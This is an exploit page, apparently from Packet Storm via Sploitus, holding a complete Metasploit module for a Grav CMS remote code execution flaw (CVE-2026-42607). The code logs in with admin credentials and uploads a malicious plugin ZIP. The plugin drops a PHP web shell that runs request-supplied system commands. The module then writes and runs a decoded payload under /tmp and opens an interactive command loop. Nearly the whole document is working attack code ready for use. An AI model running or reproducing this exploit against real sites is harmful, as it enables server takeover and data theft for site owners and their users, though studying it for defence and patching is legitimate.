Share
## https://sploitus.com/exploit?id=PACKETSTORM:223788
==================================================================================================================================
    | # Title     : Grav CMS < 2.0.0-beta.2 Remote Code Execution via Malicious Direct Install Plugin Zip Slip Exploit               |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://getgrav.org/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :  This module exploits a vulnerability in Grav CMS versions prior to 2.0.0-beta.2.
                      The "Direct Install" feature in the Admin plugin allows administrators to upload plugins as ZIP files.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Grav CMS < 2.0.0-beta.2 - Remote Code Execution via Direct Install',
            'Description' => %q{
              This module exploits a vulnerability in Grav CMS versions prior to 2.0.0-beta.2.
              The "Direct Install" feature in the Admin plugin allows administrators to upload
              plugins as ZIP files. The system fails to adequately validate the contents of
              the ZIP archive or prevent path traversal (Zip Slip) during extraction.
    
              By crafting a malicious plugin that hooks into Grav events (e.g., onPluginsInitialized),
              an attacker can execute arbitrary PHP code or drop a persistent web shell on the
              root directory.
    
              Successful exploitation requires administrative credentials for the Grav CMS.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-42607'],
              ['URL', 'https://github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw'],
              ['URL', 'https://getgrav.org/']
            ],
            'DisclosureDate' => '2026-05-08',
            'License' => MSF_LICENSE,
            'Platform' => ['php'],
            'Arch' => ARCH_PHP,
            'Targets' => [
              ['Grav CMS (PHP)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base Grav CMS path', '/']),
          OptString.new('USERNAME', [true, 'Grav Admin username']),
          OptString.new('PASSWORD', [true, 'Grav Admin password']),
          OptString.new('PLUGIN_NAME', [false, 'Name of the malicious plugin', 'shellplugin']),
          OptString.new('SHELL_FILENAME', [false, 'Name of the webshell file', 'shell.php']),
          OptBool.new('USE_SHELL', [true, 'Drop a webshell instead of using payload', true]),
          OptInt.new('TIMEOUT', [false, 'HTTP request timeout', 30])
        ])
      end
      def grav_base_url
        normalize_uri(target_uri.path)
      end
      def admin_url
        normalize_uri(target_uri.path, 'admin')
      end
      def direct_install_url
        normalize_uri(target_uri.path, 'admin', 'tools', 'direct-install')
      end
      def login_page_url
        normalize_uri(target_uri.path, 'admin', 'login')
      end
      def get_csrf_token
        print_status("Fetching CSRF token from login page...")
        
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => login_page_url
        )
        if res && res.body
          token_match = res.body.match(/name=["'](?:csrf|admin-nonce|__csrf)["']\s+value=["']([a-f0-9]+)["']/i)
          if token_match
            csrf_token = token_match[1]
            print_good("CSRF token obtained: #{csrf_token}")
            return csrf_token
          end
          token_match = res.body.match(/<meta[^>]+name=["'](?:csrf-token|csrf)["'][^>]+content=["']([^"']+)["']/i)
          if token_match
            csrf_token = token_match[1]
            print_good("CSRF token obtained: #{csrf_token}")
            return csrf_token
          end
        end
        print_error("Could not extract CSRF token")
        nil
      end
      def authenticate(csrf_token)
        print_status("Authenticating to Grav CMS...")
        data = {
          'username' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'admin-nonce' => csrf_token,
          'task' => 'login',
          'login' => 'Login'
        }
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => login_page_url,
          'vars_post' => data,
          'keep_cookies' => true
        )
        if res && (res.code == 302 || res.code == 200)
          if res.body && res.body.include?('Invalid')
            print_error("Authentication failed - invalid credentials")
            return false
          end
          print_good("Authentication successful")
          return true
        end
        print_error("Authentication failed: HTTP #{res&.code}")
        false
      end
      def generate_webshell_payload(shell_filename)
        webshell = "<?php\n"
        webshell << "if(isset($_REQUEST['cmd'])){\n"
        webshell << "    echo '<pre>';\n"
        webshell << "    system($_REQUEST['cmd']);\n"
        webshell << "    echo '</pre>';\n"
        webshell << "}\n"
        webshell << "?>\n"
        webshell
      end
      def generate_plugin_php(plugin_name, shell_filename)
        plugin_php = "<?php\n"
        plugin_php << "namespace Grav\\Plugin;\n"
        plugin_php << "use Grav\\Common\\Plugin;\n\n"
        plugin_php << "class #{plugin_name.capitalize}Plugin extends Plugin {\n"
        plugin_php << "    public static function getSubscribedEvents(): array {\n"
        plugin_php << "        return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];\n"
        plugin_php << "    }\n"
        plugin_php << "    public function onPluginsInitialized(): void {\n"
        plugin_php << "        \$shell_path = GRAV_ROOT . '/#{shell_filename}';\n"
        plugin_php << "        if (!file_exists(\$shell_path)) {\n"
        plugin_php << "            \$shell_content = '<?php if(isset($_REQUEST[\"cmd\"])){echo \"<pre>\";system(\$_REQUEST[\"cmd\"]);echo \"</pre>\";} ?>';\n"
        plugin_php << "            file_put_contents(\$shell_path, \$shell_content);\n"
        plugin_php << "        }\n"
        plugin_php << "    }\n"
        plugin_php << "}\n"
        plugin_php << "?>\n"
        plugin_php
      end
      def generate_blueprints_yaml(plugin_name)
        blueprints = <<~YAML
          name: #{plugin_name.capitalize}
          version: 1.0.0
          description: "Plugin installed via direct install"
          author:
            name: Grav
          homepage: https://getgrav.org
          license: MIT
          form:
            validation: loose
            fields:
              enabled:
                type: toggle
                label: Plugin status
                highlight: 1
                default: 1
                options:
                  1: Enabled
                  0: Disabled
                validate:
                  type: bool
        YAML
        blueprints
      end
      def generate_plugin_yaml(plugin_name)
        plugin_yaml = <<~YAML
          enabled: true
        YAML
        plugin_yaml
      end
      def create_malicious_zip(plugin_name, shell_filename)
        temp_dir = Dir.mktmpdir
        plugin_dir = File.join(temp_dir, plugin_name)
        FileUtils.mkdir_p(plugin_dir)
        plugin_php = generate_plugin_php(plugin_name, shell_filename)
        File.write(File.join(plugin_dir, "#{plugin_name}.php"), plugin_php)
        blueprints = generate_blueprints_yaml(plugin_name)
        File.write(File.join(plugin_dir, "blueprints.yaml"), blueprints)
        plugin_yaml = generate_plugin_yaml(plugin_name)
        File.write(File.join(plugin_dir, "#{plugin_name}.yaml"), plugin_yaml)
        zip_path = File.join(Dir.tmpdir, "#{plugin_name}.zip")
        require 'zip'
        Zip::File.open(zip_path, Zip::File::CREATE) do |zipfile|
          Dir[File.join(plugin_dir, '**', '**')].each do |file|
            next if File.directory?(file)
            arcname = file.sub("#{temp_dir}/", '')
            zipfile.add(arcname, file)
          end
        end
        zip_data = File.binread(zip_path)
        FileUtils.rm_rf(temp_dir)
        FileUtils.rm_f(zip_path)
        zip_data
      end
      def upload_plugin(zip_data, plugin_name)
        print_status("Uploading malicious plugin #{plugin_name}...")
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => direct_install_url,
          'keep_cookies' => true
        )
        if res && res.body
          nonce_match = res.body.match(/name=["']admin-nonce["']\s+value=["']([a-f0-9]+)["']/i)
          if nonce_match
            admin_nonce = nonce_match[1]
            print_good("Admin nonce obtained: #{admin_nonce}")
            boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
            post_data = "--#{boundary}\r\n"
            post_data << "Content-Disposition: form-data; name=\"admin-nonce\"\r\n\r\n"
            post_data << "#{admin_nonce}\r\n"
            post_data << "--#{boundary}\r\n"
            post_data << "Content-Disposition: form-data; name=\"data[file]\"; filename=\"#{plugin_name}.zip\"\r\n"
            post_data << "Content-Type: application/zip\r\n\r\n"
            post_data << zip_data
            post_data << "\r\n--#{boundary}\r\n"
            post_data << "Content-Disposition: form-data; name=\"task\"\r\n\r\n"
            post_data << "direct-install\r\n"
            post_data << "--#{boundary}--\r\n"
            headers = {
              'Content-Type' => "multipart/form-data; boundary=#{boundary}",
              'Cookie' => res.headers['Set-Cookie']
            }
            upload_res = send_request_cgi(
              'method' => 'POST',
              'uri' => direct_install_url,
              'headers' => headers,
              'data' => post_data,
              'keep_cookies' => true
            )
            if upload_res && upload_res.code == 302
              print_good("Plugin uploaded successfully!")
              return true
            elsif upload_res && upload_res.body
              if upload_res.body.include?('success') || upload_res.body.include?('installed')
                print_good("Plugin installed successfully!")
                return true
              else
                print_error("Plugin installation failed: #{upload_res.body[0..200]}")
                return false
              end
            end
          end
        end
        print_error("Failed to upload plugin")
        false
      end
      def trigger_plugin
        print_status("Triggering plugin to drop webshell...")
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => grav_base_url,
          'keep_cookies' => true
        )
        if res && (res.code == 200 || res.code == 302)
          print_good("Plugin triggered successfully")
          return true
        end
        print_error("Failed to trigger plugin")
        false
      end
      def check_webshell(shell_filename)
        shell_url = normalize_uri(target_uri.path, shell_filename)
        print_status("Checking webshell at #{shell_url}")
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => shell_url,
          'vars_get' => { 'cmd' => 'echo TEST_SHELL' }
        )
        if res && res.body && res.body.include?('TEST_SHELL')
          print_good("Webshell is accessible!")
          return shell_url
        end
        
        nil
      end
      def execute_command_via_shell(shell_url, cmd)
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => shell_url,
          'vars_get' => { 'cmd' => cmd }
        )
        if res && res.body
          output = res.body
          output.gsub!(/<pre>/, '')
          output.gsub!(/<\/pre>/, '')
          output.strip!
          return output
        end
        nil
      end
      def exploit
        print_status("CVE-2026-42607 - Grav CMS Remote Code Execution")
        print_status("Target: #{peer}")
        csrf_token = get_csrf_token
        if csrf_token.nil?
          fail_with(Failure::UnexpectedReply, "Could not obtain CSRF token")
        end
        unless authenticate(csrf_token)
          fail_with(Failure::NoAccess, "Authentication failed. Check credentials.")
        end
        plugin_name = datastore['PLUGIN_NAME']
        shell_filename = datastore['SHELL_FILENAME']
        
        print_status("Creating malicious plugin: #{plugin_name}")
        zip_data = create_malicious_zip(plugin_name, shell_filename)
        unless upload_plugin(zip_data, plugin_name)
          fail_with(Failure::UnexpectedReply, "Failed to upload malicious plugin")
        end
        trigger_plugin
        shell_url = check_webshell(shell_filename)
        if shell_url
          print_good("Webshell successfully deployed at #{shell_url}")
          register_file_for_cleanup(shell_filename)
          if datastore['USE_SHELL']
            if payload.encoded
              b64_payload = Rex::Text.encode_base64(payload.encoded)
              download_cmd = "echo '#{b64_payload}' | base64 -d > /tmp/payload.php && php /tmp/payload.php"
              execute_command_via_shell(shell_url, download_cmd)
              print_status("Payload delivered via webshell")
            else
              print_good("Interactive shell available at: #{shell_url}?cmd=<command>")
              while true
                print_line("\n" + "=" * 50)
                cmd = Rex::Text::colorize("shell> ", Rex::Text::GREEN)
                print(cmd)
                cmd = gets.chomp
                break if cmd.empty? || cmd == "exit"
                
                output = execute_command_via_shell(shell_url, cmd)
                print_line(output) if output
              end
            end
          end
        else
          print_error("Webshell not found. Plugin may not have been installed correctly.")
        end
        print_good("Exploit completed")
      end
    end
    
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================